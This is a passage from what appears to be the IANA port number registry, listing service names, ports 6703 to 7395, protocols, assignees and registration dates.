e-design-web       6703        udp    e-Design web                 [Janos_Lerch]                                         [Janos_Lerch]                                             2006-02
                   6704        udp    Reserved
                   6704        tcp    Reserved
frc-hp             6704       sctp    ForCES HP (High Priority)                                                                                                                                              [RFC5811]
                                      channel
                   6705        udp    Reserved
                   6705        tcp    Reserved
frc-mp             6705       sctp    ForCES MP (Medium Priority)                                                                                                                                            [RFC5811]
                                      channel
                   6706        udp    Reserved
                   6706        tcp    Reserved
frc-lp             6706       sctp    ForCES LP (Low priority)                                                                                                                                               [RFC5811]
                                      channel
                 6707-6713            Unassigned
ibprotocol         6714        tcp    Internet Backplane Protocol  [Alessandro_Bassi]                                    [Alessandro_Bassi]
ibprotocol         6714        udp    Internet Backplane Protocol  [Alessandro_Bassi]                                    [Alessandro_Bassi]
fibotrader-com     6715        tcp    Fibotrader Communications    [Robert_Wetzold]                                      [Robert_Wetzold]                                          2006-01
fibotrader-com     6715        udp    Fibotrader Communications    [Robert_Wetzold]                                      [Robert_Wetzold]                                          2006-01
princity-agent     6716        tcp    Princity Agent               [ENSTEAM_Sp_z.o.o.]                                   [Tomasz_Krakowiak]                                        2014-07-07   2015-07-08
                   6716        udp    Reserved
                 6717-6766            Unassigned
bmc-perf-agent     6767        tcp    BMC PERFORM AGENT            [Portnoy_Boxman]                                      [Portnoy_Boxman]
bmc-perf-agent     6767        udp    BMC PERFORM AGENT            [Portnoy_Boxman]                                      [Portnoy_Boxman]
bmc-perf-mgrd      6768        tcp    BMC PERFORM MGRD             [Portnoy_Boxman]                                      [Portnoy_Boxman]
bmc-perf-mgrd      6768        udp    BMC PERFORM MGRD             [Portnoy_Boxman]                                      [Portnoy_Boxman]
adi-gxp-srvprt     6769        tcp    ADInstruments GxP Server     [Mathew_Pitchforth]                                   [Mathew_Pitchforth]                                       2005-08
adi-gxp-srvprt     6769        udp    ADInstruments GxP Server     [Mathew_Pitchforth]                                   [Mathew_Pitchforth]                                       2005-08
plysrv-http        6770        tcp    PolyServe http               [Mike_Spitzer]                                        [Mike_Spitzer]                                            2005-08
plysrv-http        6770        udp    PolyServe http               [Mike_Spitzer]                                        [Mike_Spitzer]                                            2005-08
plysrv-https       6771        tcp    PolyServe https              [Mike_Spitzer]                                        [Mike_Spitzer]                                            2005-08
plysrv-https       6771        udp    PolyServe https              [Mike_Spitzer]                                        [Mike_Spitzer]                                            2005-08
                 6772-6776            Unassigned
ntz-tracker        6777        tcp    netTsunami Tracker           [Tomahawk_Holdings]                                   [Sagara_Wijetunga]                                        2013-05-01
                   6777        udp    Reserved
ntz-p2p-storage    6778        tcp    netTsunami p2p storage       [Tomahawk_Holdings]                                   [Sagara_Wijetunga]                                        2013-05-01
                                      system
                   6778        udp    Reserved
                 6779-6783            Unassigned
                   6784        tcp    Reserved
                                      Bidirectional Forwarding
bfd-lag            6784        udp    Detection (BFD) on Link      [IESG]                                                [BFD_Chairs]                                              2012-11-08   2014-01-09   [RFC7130]
                                      Aggregation Group (LAG)
                                      Interfaces
dgpf-exchg         6785        tcp    DGPF Individual Exchange     [Thomas_Weise]                                        [Thomas_Weise]                                            2006-04
dgpf-exchg         6785        udp    DGPF Individual Exchange     [Thomas_Weise]                                        [Thomas_Weise]                                            2006-04
smc-jmx            6786        tcp    Sun Java Web Console JMX     [Bill_Edwards]                                        [Bill_Edwards]                                            2005-08
smc-jmx            6786        udp    Sun Java Web Console JMX     [Bill_Edwards]                                        [Bill_Edwards]                                            2005-08
smc-admin          6787        tcp    Sun Web Console Admin        [Bill_Edwards]                                        [Bill_Edwards]                                            2005-08
smc-admin          6787        udp    Sun Web Console Admin        [Bill_Edwards]                                        [Bill_Edwards]                                            2005-08
smc-http           6788        tcp    SMC-HTTP                     [Ratnadeep_Bhattachar]                                [Ratnadeep_Bhattachar]                                    2002-11
smc-http           6788        udp    SMC-HTTP                     [Ratnadeep_Bhattachar]                                [Ratnadeep_Bhattachar]                                    2002-11
radg               6789        tcp    GSS-API for the Oracle       [Oracle_9]                                            [Shawn_Emery]                                             2002-08      2016-09-15
                                      Remote Administration Daemon
                   6789        udp    Reserved                                                                                                                                     2002-08      2016-09-15
hnmp               6790        tcp    HNMP                         [Jude_George]                                         [Jude_George]
hnmp               6790        udp    HNMP                         [Jude_George]                                         [Jude_George]
hnm                6791        tcp    Halcyon Network Manager      [Richard_Harriss]                                     [Richard_Harriss]                                         2005-05
hnm                6791        udp    Halcyon Network Manager      [Richard_Harriss]                                     [Richard_Harriss]                                         2005-05
                 6792-6800            Unassigned
acnet              6801        tcp    ACNET Control System         [Fermilab]                                            [Rich_Neswold]                                            2007-02      2017-07-13
                                      Protocol
acnet              6801        udp    ACNET Control System         [Fermilab]                                            [Rich_Neswold]                                            2007-02      2017-07-13
                                      Protocol
                 6802-6816            Unassigned
pentbox-sim        6817        tcp    PenTBox Secure IM Protocol   [Alberto_Ortega_Llama]                                [Alberto_Ortega_Llama]                                    2009-11-04
                   6817        udp    Reserved
                 6818-6830            Unassigned
ambit-lm           6831        tcp    ambit-lm                     [Don_Hejna]                                           [Don_Hejna]
ambit-lm           6831        udp    ambit-lm                     [Don_Hejna]                                           [Don_Hejna]
                 6832-6840            Unassigned
netmo-default      6841        tcp    Netmo Default                [Urs_Bertschinger]                                    [Urs_Bertschinger]
netmo-default      6841        udp    Netmo Default                [Urs_Bertschinger]                                    [Urs_Bertschinger]
netmo-http         6842        tcp    Netmo HTTP                   [Urs_Bertschinger]                                    [Urs_Bertschinger]
netmo-http         6842        udp    Netmo HTTP                   [Urs_Bertschinger]                                    [Urs_Bertschinger]
                 6843-6849            Unassigned
iccrushmore        6850        tcp    ICCRUSHMORE                  [Dave_Hubbard]                                        [Dave_Hubbard]
iccrushmore        6850        udp    ICCRUSHMORE                  [Dave_Hubbard]                                        [Dave_Hubbard]
                 6851-6867            Unassigned
acctopus-cc        6868        tcp    Acctopus Command Channel     [Stefan_Auweiler]                                     [Stefan_Auweiler]                                         2009-11-16
acctopus-st        6868        udp    Acctopus Status              [Stefan_Auweiler]                                     [Stefan_Auweiler]                                         2009-11-16
                 6869-6887            Unassigned
muse               6888        tcp    MUSE                         [Muse_Communications]                                 [Muse_Communications]
muse               6888        udp    MUSE                         [Muse_Communications]                                 [Muse_Communications]
                   6889               Unassigned
rtimeviewer        6900        tcp    R*TIME Viewer Data Interface [Curtiss-Wright_Corporation]                          [Robert_Ammon]                                            2016-12-14
                   6900        udp    Reserved
jetstream          6901        tcp    Novell Jetstream messaging   [Anil_Tyagi]                                          [Anil_Tyagi]                                              2010-06-11
                                      protocol
                   6901        udp    Reserved
                 6902-6934            Unassigned
ethoscan           6935        tcp    EthoScan Service             [Marty_Campbell]                                      [Marty_Campbell]                                          2011-06-10
ethoscan           6935        udp    EthoScan Service             [Marty_Campbell]                                      [Marty_Campbell]                                          2011-06-10
xsmsvc             6936        tcp    XenSource Management Service [Roger_Klorese]                                       [Roger_Klorese]                                           2006-06
xsmsvc             6936        udp    XenSource Management Service [Roger_Klorese]                                       [Roger_Klorese]                                           2006-06
                 6937-6945            Unassigned
bioserver          6946        tcp    Biometrics Server            [ISHII_AKIO]                                          [ISHII_AKIO]                                              2006-01
bioserver          6946        udp    Biometrics Server            [ISHII_AKIO]                                          [ISHII_AKIO]                                              2006-01
                 6947-6950            Unassigned
otlp               6951        tcp    OTLP                         [Brent_Foster]                                        [Brent_Foster]                                            2006-04
otlp               6951        udp    OTLP                         [Brent_Foster]                                        [Brent_Foster]                                            2006-04
                 6952-6960            Unassigned
jmact3             6961        tcp    JMACT3                       [Yutaka_Ono]                                          [Yutaka_Ono]
jmact3             6961        udp    JMACT3                       [Yutaka_Ono]                                          [Yutaka_Ono]
jmevt2             6962        tcp    jmevt2                       [Yutaka_Ono]                                          [Yutaka_Ono]
jmevt2             6962        udp    jmevt2                       [Yutaka_Ono]                                          [Yutaka_Ono]
swismgr1           6963        tcp    swismgr1                     [Yutaka_Ono]                                          [Yutaka_Ono]
swismgr1           6963        udp    swismgr1                     [Yutaka_Ono]                                          [Yutaka_Ono]
swismgr2           6964        tcp    swismgr2                     [Yutaka_Ono]                                          [Yutaka_Ono]
swismgr2           6964        udp    swismgr2                     [Yutaka_Ono]                                          [Yutaka_Ono]
swistrap           6965        tcp    swistrap                     [Yutaka_Ono]                                          [Yutaka_Ono]
swistrap           6965        udp    swistrap                     [Yutaka_Ono]                                          [Yutaka_Ono]
swispol            6966        tcp    swispol                      [Yutaka_Ono]                                          [Yutaka_Ono]
swispol            6966        udp    swispol                      [Yutaka_Ono]                                          [Yutaka_Ono]
                 6967-6968            Unassigned
acmsoda            6969        tcp    acmsoda                      [Daniel_Simms]                                        [Daniel_Simms]
acmsoda            6969        udp    acmsoda                      [Daniel_Simms]                                        [Daniel_Simms]
conductor          6970        tcp    Conductor test coordination  [George_Neville-Neil]                                 [George_Neville-Neil]                                     2014-09-18
                                      protocol
                   6970        udp    Reserved
conductor-mpx      6970       sctp    conductor for multiplex      [George_Neville-Neil]                                 [George_Neville-Neil]                                     2014-07-29
                 6971-6996            Unassigned
MobilitySrv        6997        tcp    Mobility XE Protocol         [Joseph_T_Savarese]                                   [Joseph_T_Savarese]                                       2007-06
MobilitySrv        6997        udp    Mobility XE Protocol         [Joseph_T_Savarese]                                   [Joseph_T_Savarese]                                       2007-06
iatp-highpri       6998        tcp    IATP-highPri                 [John_Murphy]                                         [John_Murphy]
iatp-highpri       6998        udp    IATP-highPri                 [John_Murphy]                                         [John_Murphy]
iatp-normalpri     6999        tcp    IATP-normalPri               [John_Murphy]                                         [John_Murphy]
iatp-normalpri     6999        udp    IATP-normalPri               [John_Murphy]                                         [John_Murphy]
afs3-fileserver    7000        tcp    file server itself
afs3-fileserver    7000        udp    file server itself
                                                                                                                                                                                                                                                                     Known
afs3-callback      7001        tcp    callbacks to cache managers                                                                                                                                                                                                    Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7001
                                                                                                                                                                                                                                                                     Known
afs3-callback      7001        udp    callbacks to cache managers                                                                                                                                                                                                    Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7001
                                                                                                                                                                                                                                                                     Known
afs3-prserver      7002        tcp    users & groups database                                                                                                                                                                                                        Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7002
                                                                                                                                                                                                                                                                     Known
afs3-prserver      7002        udp    users & groups database                                                                                                                                                                                                        Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7002
afs3-vlserver      7003        tcp    volume location database
afs3-vlserver      7003        udp    volume location database
afs3-kaserver      7004        tcp    AFS/Kerberos authentication
                                      service
afs3-kaserver      7004        udp    AFS/Kerberos authentication
                                      service
                                                                                                                                                                                                                                                                     Known
afs3-volser        7005        tcp    volume managment server                                                                                                                                                                                                        Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7005
                                                                                                                                                                                                                                                                     Known
afs3-volser        7005        udp    volume managment server                                                                                                                                                                                                        Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7005
afs3-errors        7006        tcp    error interpretation service
afs3-errors        7006        udp    error interpretation service
afs3-bos           7007        tcp    basic overseer process
afs3-bos           7007        udp    basic overseer process
afs3-update        7008        tcp    server-to-server updater
afs3-update        7008        udp    server-to-server updater
afs3-rmtsys        7009        tcp    remote cache manager service
afs3-rmtsys        7009        udp    remote cache manager service
ups-onlinet        7010        tcp    onlinet uninterruptable      [Jim_Thompson]                                        [Jim_Thompson]
                                      power supplies
ups-onlinet        7010        udp    onlinet uninterruptable      [Jim_Thompson]                                        [Jim_Thompson]
                                      power supplies
                                                                                                                                                                                                                                                                     Known
talon-disc         7011        tcp    Talon Discovery Port         [Jim_Thompson]                                        [Jim_Thompson]                                                                                                                              Unauthorized
                                                                                                                                                                                                                                                                     Use on 7011
                                                                                                                                                                                                                                                                     Known
talon-disc         7011        udp    Talon Discovery Port         [Jim_Thompson]                                        [Jim_Thompson]                                                                                                                              Unauthorized
                                                                                                                                                                                                                                                                     Use on 7011
                                                                                                                                                                                                                                                                     Known
talon-engine       7012        tcp    Talon Engine                 [Jim_Thompson]                                        [Jim_Thompson]                                                                                                                              Unauthorized
                                                                                                                                                                                                                                                                     Use on 7011
                                                                                                                                                                                                                                                                     Known
talon-engine       7012        udp    Talon Engine                 [Jim_Thompson]                                        [Jim_Thompson]                                                                                                                              Unauthorized
                                                                                                                                                                                                                                                                     Use on 7011
microtalon-dis     7013        tcp    Microtalon Discovery         [Jim_Thompson]                                        [Jim_Thompson]
microtalon-dis     7013        udp    Microtalon Discovery         [Jim_Thompson]                                        [Jim_Thompson]
microtalon-com     7014        tcp    Microtalon Communications    [Jim_Thompson]                                        [Jim_Thompson]
microtalon-com     7014        udp    Microtalon Communications    [Jim_Thompson]                                        [Jim_Thompson]
talon-webserver    7015        tcp    Talon Webserver              [Jim_Thompson]                                        [Jim_Thompson]
talon-webserver    7015        udp    Talon Webserver              [Jim_Thompson]                                        [Jim_Thompson]
spg                7016        tcp    SPG Controls Carrier         [SPG_Controls_Ltd]                                    [Steve_Barton_2]                                          2017-03-27
spg                7016        udp    SPG Controls Carrier         [SPG_Controls_Ltd]                                    [Steve_Barton_2]                                          2017-03-27
grasp              7017        tcp    GeneRic Autonomic Signaling  [IESG]                                                [IETF_Chair]                                              2017-04-28   2017-07-20   [RFC-ietf-anima-grasp-15]
                                      Protocol
grasp              7017        udp    GeneRic Autonomic Signaling  [IESG]                                                [IETF_Chair]                                              2017-04-28   2017-07-20   [RFC-ietf-anima-grasp-15]
                                      Protocol
fisa-svc           7018        tcp    FISA Service                 [FAUCONNET_Ingenierie]                                [FAUCONNET_Ingenierie]                                    2011-05-19
                   7018        udp    Reserved
doceri-ctl         7019        tcp    doceri drawing service       [Paul_Brown]                                          [Paul_Brown]                                              2011-04-27
                                      control
doceri-view        7019        udp    doceri drawing service       [Paul_Brown]                                          [Paul_Brown]                                              2011-04-27
                                      screen view
dpserve            7020        tcp    DP Serve                     [Allan_Stanley]                                       [Allan_Stanley]
dpserve            7020        udp    DP Serve                     [Allan_Stanley]                                       [Allan_Stanley]
dpserveadmin       7021        tcp    DP Serve Admin               [Allan_Stanley]                                       [Allan_Stanley]
dpserveadmin       7021        udp    DP Serve Admin               [Allan_Stanley]                                       [Allan_Stanley]
ctdp               7022        tcp    CT Discovery Protocol        [James_Kirkwood]                                      [James_Kirkwood]                                          2005-06
ctdp               7022        udp    CT Discovery Protocol        [James_Kirkwood]                                      [James_Kirkwood]                                          2005-06
ct2nmcs            7023        tcp    Comtech T2 NMCS              [Bryan_Wilcutt]                                       [Bryan_Wilcutt]                                           2005-06
ct2nmcs            7023        udp    Comtech T2 NMCS              [Bryan_Wilcutt]                                       [Bryan_Wilcutt]                                           2005-06
vmsvc              7024        tcp    Vormetric service            [Tom_Boyle]                                           [Tom_Boyle]                                               2005-06
vmsvc              7024        udp    Vormetric service            [Tom_Boyle]                                           [Tom_Boyle]                                               2005-06
vmsvc-2            7025        tcp    Vormetric Service II         [Tom_Boyle]                                           [Tom_Boyle]                                               2005-06
vmsvc-2            7025        udp    Vormetric Service II         [Tom_Boyle]                                           [Tom_Boyle]                                               2005-06
loreji-panel       7026        tcp    Loreji Webhosting Panel      [J.A._Smit]                                           [DALTCORE]                                                2018-02-21
                   7026        udp    Reserved
                 7027-7029            Unassigned
op-probe           7030        tcp    ObjectPlanet probe           [Bjorn_Jarle_Kvande]                                  [Bjorn_Jarle_Kvande]                                      2002-04
op-probe           7030        udp    ObjectPlanet probe           [Bjorn_Jarle_Kvande]                                  [Bjorn_Jarle_Kvande]                                      2002-04
iposplanet         7031        tcp    IPOSPLANET retailing multi   [Fabrice_Paget]                                       [Fabrice_Paget]                                           2012-10-23
                                      devices protocol
                   7031        udp    Reserved
                 7032-7039            Unassigned
                   7040        tcp    Reserved
quest-disc         7040        udp    Quest application level      [Quest_Software]                                      [Henrik_Johnson]                                          2012-04-09
                                      network service discovery
                 7041-7069            Unassigned
arcp               7070        tcp    ARCP                         [Jude_George]                                         [Jude_George]
arcp               7070        udp    ARCP                         [Jude_George]                                         [Jude_George]
iwg1               7071        tcp    IWGADTS Aircraft             [Don_Sullivan]                                        [Don_Sullivan]                                            2010-02-16
                                      Housekeeping Message
iwg1               7071        udp    IWGADTS Aircraft             [Don_Sullivan]                                        [Don_Sullivan]                                            2010-02-16
                                      Housekeeping Message
iba-cfg            7072        tcp    iba Device Configuration     [iba_AG]                                              [Alexander_Melamed]                                       2018-02-12
                                      Protocol
iba-cfg-disc       7072        udp    iba Device Configuration     [iba_AG]                                              [Alexander_Melamed]                                       2018-02-12
                                      Protocol
martalk            7073        tcp    MarTalk protocol             [Mahr_GmbH_Göttingen]                                 [Kevin_Bube]                                              2013-09-02
                   7073        udp    Reserved
                 7074-7079            Unassigned
empowerid          7080        tcp    EmpowerID Communication      [Matthew_Whited]                                      [Matthew_Whited]                                          2008-01-16
empowerid          7080        udp    EmpowerID Communication      [Matthew_Whited]                                      [Matthew_Whited]                                          2008-01-16
                 7081-7087            Unassigned
                   7088        tcp    Reserved
zixi-transport     7088        udp    Zixi live video transport    [Zixi]                                                [Igor_Ratner]                                             2015-11-16
                                      protocol
                 7089-7094            Unassigned
jdp-disc           7095        udp    Java Discovery Protocol      [OpenJDK]                                             [Florian_Weimer]                                          2013-03-12
                   7095        tcp    Reserved
                 7096-7098            Unassigned
lazy-ptop          7099        tcp    lazy-ptop                    [Guy_Keren]                                           [Guy_Keren]
lazy-ptop          7099        udp    lazy-ptop                    [Guy_Keren]                                           [Guy_Keren]
font-service       7100        tcp    X Font Service               [Stephen_Gildea]                                      [Stephen_Gildea]
font-service       7100        udp    X Font Service               [Stephen_Gildea]                                      [Stephen_Gildea]
elcn               7101        tcp    Embedded Light Control       [Michael_Scarito]                                     [Michael_Scarito]                                         2007-02
                                      Network
elcn               7101        udp    Embedded Light Control       [Michael_Scarito]                                     [Michael_Scarito]                                         2007-02
                                      Network
                 7102-7106            Unassigned
                   7107        tcp    Reserved
aes-x170           7107        udp    AES-X170                     [Richard_Foss]                                        [Richard_Foss]                                            2011-02-10
                 7108-7116            Unassigned
rothaga            7117        tcp    Encrypted chat and file      [Arcadian_Computers]                                  [Jonathan_Pollock]                                        2016-05-10
                                      transfer service
                   7117        udp    Reserved
                 7118-7120            Unassigned
virprot-lm         7121        tcp    Virtual Prototypes License   [Victor_Galis]                                        [Victor_Galis]
                                      Manager
virprot-lm         7121        udp    Virtual Prototypes License   [Victor_Galis]                                        [Victor_Galis]
                                      Manager
                 7122-7127            Unassigned
scenidm            7128        tcp    intelligent data manager     [Paul_Ignatius]                                       [Paul_Ignatius]                                           2006-03
scenidm            7128        udp    intelligent data manager     [Paul_Ignatius]                                       [Paul_Ignatius]                                           2006-03
scenccs            7129        tcp    Catalog Content Search       [Anil_Sharma]                                         [Anil_Sharma]                                             2006-04
scenccs            7129        udp    Catalog Content Search       [Anil_Sharma]                                         [Anil_Sharma]                                             2006-04
                 7130-7160            Unassigned
cabsm-comm         7161        tcp    CA BSM Comm                  [Chun_Ho_Chang]                                       [Chun_Ho_Chang]                                           2004-11
cabsm-comm         7161        udp    CA BSM Comm                  [Chun_Ho_Chang]                                       [Chun_Ho_Chang]                                           2004-11
caistoragemgr      7162        tcp    CA Storage Manager           [Emre_Tunar]                                          [Emre_Tunar]                                              2004-11
caistoragemgr      7162        udp    CA Storage Manager           [Emre_Tunar]                                          [Emre_Tunar]                                              2004-11
cacsambroker       7163        tcp    CA Connection Broker         [David_Roberts]                                       [David_Roberts]                                           2005-05
cacsambroker       7163        udp    CA Connection Broker         [David_Roberts]                                       [David_Roberts]                                           2005-05
fsr                7164        tcp    File System Repository Agent [Micha_Ben_Efraim]                                    [Micha_Ben_Efraim]                                        2007-07-19
fsr                7164        udp    File System Repository Agent [Micha_Ben_Efraim]                                    [Micha_Ben_Efraim]                                        2007-07-19
doc-server         7165        tcp    Document WCF Server          [Micha_Ben_Efraim]                                    [Micha_Ben_Efraim]                                        2008-01-07
doc-server         7165        udp    Document WCF Server          [Micha_Ben_Efraim]                                    [Micha_Ben_Efraim]                                        2008-01-07
aruba-server       7166        tcp    Aruba eDiscovery Server      [Micha_Ben_Efraim]                                    [Micha_Ben_Efraim]                                        2008-01-07
aruba-server       7166        udp    Aruba eDiscovery Server      [Micha_Ben_Efraim]                                    [Micha_Ben_Efraim]                                        2008-01-07
casrmagent         7167        tcp    CA SRM Agent                 [Venkata_Krishna]                                     [Venkata_Krishna]                                         2010-02-24
                   7167        udp    Reserved
cnckadserver       7168        tcp    cncKadServer DB & Inventory  [Micha_Ben_Efraim_2]                                  [Micha_Ben_Efraim_2]                                      2011-01-31
                                      Services
                   7168        udp    Reserved
ccag-pib           7169        tcp    Consequor Consulting Process [Frank_Goenninger]                                    [Frank_Goenninger]                                        2010-02-22
                                      Integration Bridge
ccag-pib           7169        udp    Consequor Consulting Process [Frank_Goenninger]                                    [Frank_Goenninger]                                        2010-02-22
                                      Integration Bridge
nsrp               7170        tcp    Adaptive Name/Service        [Geoff_Back_2]                                        [Geoff_Back_2]                                            2010-02-01
                                      Resolution
nsrp               7170        udp    Adaptive Name/Service        [Geoff_Back_2]                                        [Geoff_Back_2]                                            2010-02-01
                                      Resolution
drm-production     7171        tcp    Discovery and Retention Mgt  [Micha_Ben_Efraim_3]                                  [Micha_Ben_Efraim_3]                                      2010-02-18
                                      Production
drm-production     7171        udp    Discovery and Retention Mgt  [Micha_Ben_Efraim_3]                                  [Micha_Ben_Efraim_3]                                      2010-02-18
                                      Production
metalbend          7172        tcp    Port used for MetalBend      [Micha_Ben_Efraim_4]                                  [Micha_Ben_Efraim_4]                                      2012-11-27
                                      programmable interface
                   7172        udp    Reserved
zsecure            7173        tcp    zSecure Server               [Hans_Schoone]                                        [Hans_Schoone]                                            2010-10-01
                   7173        udp    Reserved
clutild            7174        tcp    Clutild                      [Cheryl_Stoutenburg]                                  [Cheryl_Stoutenburg]
clutild            7174        udp    Clutild                      [Cheryl_Stoutenburg]                                  [Cheryl_Stoutenburg]
                 7175-7180            Unassigned
janus-disc         7181        udp    Janus Guidewire Enterprise   [Guidewire_Software_Inc]                              [Luca_Debiasi]                                            2014-02-06
                                      Discovery Service Bus
                   7181        tcp    Reserved
                 7182-7199            Unassigned
fodms              7200        tcp    FODMS FLIP                   [David_Anthony]                                       [David_Anthony]
fodms              7200        udp    FODMS FLIP                   [David_Anthony]                                       [David_Anthony]
dlip               7201        tcp    DLIP                         [Albert_Manfredi]                                     [Albert_Manfredi]
dlip               7201        udp    DLIP                         [Albert_Manfredi]                                     [Albert_Manfredi]
                                                                                                                                                                                                             [TR-352][Inter-Channel-Termination protocol
                                                                                                                                                                                                             (ICTP) is a peer-to-peer protocol with a
                                                                                                                                                                                                             binary message format that is used by a set
                                      Inter-Channel Termination                                                                                                                                              of optical line terminal (OLT) channel
                                      Protocol (ICTP) for                                                                                                                                                    terminations (CT) comprising a
pon-ictp           7202        tcp    multi-wavelength PON         [Broadband_Forum_2]                                   [William_Lupton]                                          2017-02-22                40-Gigabit-capable next-generation passive
                                      (Passive Optical Network)                                                                                                                                              optical network (NG-PON2) system to exchange
                                      systems                                                                                                                                                                channel profile configuration and status
                                                                                                                                                                                                             information and to coordinate the operation
                                                                                                                                                                                                             of tunable optical network units (ONUs) in a
                                                                                                                                                                                                             multi-wavelength channel environment.]
                   7702        udp    Reserved
                 7203-7214            Unassigned
PS-Server          7215        tcp    Communication ports for      [PFU_Systems_Inc.]                                    [Hari_Asuri]                                              2016-02-26
                                      PaperStream Server services
                   7215        udp    Reserved
PS-Capture-Pro     7216        tcp    PaperStream Capture          [PFU_Systems_Inc.]                                    [Hari_Asuri]                                              2016-02-26
                                      Professional
                   7216        udp    Reserved
                 7217-7226            Unassigned
ramp               7227        tcp    Registry A & M Protocol      [John_Havard]                                         [John_Havard]                                             2003-11
ramp               7227        udp    Registry A $ M Protocol      [John_Havard]                                         [John_Havard]                                             2003-11
citrixupp          7228        tcp    Citrix Universal Printing    [Gary_Barton]                                         [Gary_Barton]                                             2011-02-24
                                      Port
                   7228        udp    Reserved
citrixuppg         7229        tcp    Citrix UPP Gateway           [Gary_Barton]                                         [Gary_Barton]                                             2011-02-24
                   7229        udp    Reserved
                 7230-7234            Unassigned
aspcoordination    7235        udp    ASP Coordination Protocol    [Wi-Fi_Alliance_2]                                    [Mick_Conley]                                             2013-12-31
                   7235        tcp    Reserved
display            7236        tcp    Wi-Fi Alliance Wi-Fi Display [Wi-Fi_Alliance]                                      [Thomas_Sciorilli]                                        2012-04-09                                                                                     Defined TXT keys: _display.tcp. Display Protocol
                                      Protocol
                   7236        udp    Reserved
pads               7237        tcp    PADS (Public Area Display    [Willie_Jan_Bons]                                     [Willie_Jan_Bons]                                         2011-03-10
                                      System) Server
                   7237        udp    Reserved
                 7238-7243            Unassigned
frc-hicp           7244        tcp    FrontRow Calypso Human       [Frontrow_Calypso_LLC]                                [Scott_Halberg]                                           2016-04-19
                                      Interface Control Protocol
frc-hicp-disc      7244        udp    FrontRow Calypso Human       [Frontrow_Calypso_LLC]                                [Scott_Halberg]                                           2016-04-19
                                      Interface Control Protocol
                 7245-7261            Unassigned
cnap               7262        tcp    Calypso Network Access       [Frontrow_Calypso_LLC]                                [Scott_Halberg]                                           2009-06-02
                                      Protocol
cnap               7262        udp    Calypso Network Access       [Frontrow_Calypso_LLC]                                [Scott_Halberg]                                           2009-06-02
                                      Protocol
                 7263-7271            Unassigned
watchme-7272       7272        tcp    WatchMe Monitoring 7272      [Oliver_Heinz]                                        [Oliver_Heinz]                                            2005-08
watchme-7272       7272        udp    WatchMe Monitoring 7272      [Oliver_Heinz]                                        [Oliver_Heinz]                                            2005-08
oma-rlp            7273        tcp    OMA Roaming Location         [Larry_A_Young]                                       [Larry_A_Young]                                           2005-08
oma-rlp            7273        udp    OMA Roaming Location         [Larry_A_Young]                                       [Larry_A_Young]                                           2005-08
oma-rlp-s          7274        tcp    OMA Roaming Location SEC     [Larry_A_Young]                                       [Larry_A_Young]                                           2005-08
oma-rlp-s          7274        udp    OMA Roaming Location SEC     [Larry_A_Young]                                       [Larry_A_Young]                                           2005-08
oma-ulp            7275        tcp    OMA UserPlane Location       [Larry_A_Young_2]                                     [Larry_A_Young_2]                                         2006-02
oma-ulp            7275        udp    OMA UserPlane Location       [Larry_A_Young_2]                                     [Larry_A_Young_2]                                         2006-02
oma-ilp            7276        tcp    OMA Internal Location        [Khiem_Tran]                                          [Khiem_Tran]                                              2007-11-06
                                      Protocol
oma-ilp            7276        udp    OMA Internal Location        [Khiem_Tran]                                          [Khiem_Tran]                                              2007-11-06
                                      Protocol
oma-ilp-s          7277        tcp    OMA Internal Location Secure [Khiem_Tran]                                          [Khiem_Tran]                                              2007-11-06
                                      Protocol
oma-ilp-s          7277        udp    OMA Internal Location Secure [Khiem_Tran]                                          [Khiem_Tran]                                              2007-11-06
                                      Protocol
oma-dcdocbs        7278        tcp    OMA Dynamic Content Delivery [Avi_Primo]                                           [Avi_Primo]                                               2008-01-29
                                      over CBS
oma-dcdocbs        7278        udp    OMA Dynamic Content Delivery [Avi_Primo]                                           [Avi_Primo]                                               2008-01-29
                                      over CBS
ctxlic             7279        tcp    Citrix Licensing             [Marc_Binstock]                                       [Marc_Binstock]                                           2008-01-29
ctxlic             7279        udp    Citrix Licensing             [Marc_Binstock]                                       [Marc_Binstock]                                           2008-01-29
itactionserver1    7280        tcp    ITACTIONSERVER 1             [Brian_Taylor]                                        [Brian_Taylor]
itactionserver1    7280        udp    ITACTIONSERVER 1             [Brian_Taylor]                                        [Brian_Taylor]
itactionserver2    7281        tcp    ITACTIONSERVER 2             [Brian_Taylor]                                        [Brian_Taylor]
itactionserver2    7281        udp    ITACTIONSERVER 2             [Brian_Taylor]                                        [Brian_Taylor]
mzca-action        7282        tcp    eventACTION/ussACTION (MZCA) [Gord_Tomlin]                                         [Gord_Tomlin]                                             2009-01-30
                                      server
mzca-alert         7282        udp    eventACTION/ussACTION (MZCA) [Gord_Tomlin]                                         [Gord_Tomlin]                                             2010-01-21
                                      alert
genstat            7283        tcp    General Statistics           [VSN_International_Ltd]                               [Sean_D_Sollé]                                            2011-09-28
                                      Rendezvous Protocol
                   7283        udp    Reserved
                 7284-7299            Unassigned
swx              7300-7359            The Swiss Exchange           [Edgar_Blum]                                          [Edgar_Blum]
                 7360-7364            Unassigned                                                                                                                                                2006-02-06
lcm-server         7365        tcp    LifeKeeper Communications    [James_Bottomley]                                     [James_Bottomley]                                         2006-02
lcm-server         7365        udp    LifeKeeper Communications    [James_Bottomley]                                     [James_Bottomley]                                         2006-02
                 7366-7390            Unassigned                                                                                                                                                2006-02-06
mindfilesys        7391        tcp    mind-file system server      [Dave_Porter]                                         [Dave_Porter]
mindfilesys        7391        udp    mind-file system server      [Dave_Porter]                                         [Dave_Porter]
mrssrendezvous     7392        tcp    mrss-rendezvous server       [Dave_Porter]                                         [Dave_Porter]
mrssrendezvous     7392        udp    mrss-rendezvous server       [Dave_Porter]                                         [Dave_Porter]
nfoldman           7393        tcp    nFoldMan Remote Publish      [Richard_McDonald]                                    [Richard_McDonald]                                        2006-01
nfoldman           7393        udp    nFoldMan Remote Publish      [Richard_McDonald]                                    [Richard_McDonald]                                        2006-01
fse                7394        tcp    File system export of backup [Weibao_Wu]                                           [Weibao_Wu]                                               2006-04
                                      images
fse                7394        udp    File system export of backup [Weibao_Wu]                                           [Weibao_Wu]                                               2006-04
                                      images
winqedit           7395        tcp    winqedit                     [David_Greer]                                         [David_Greer]
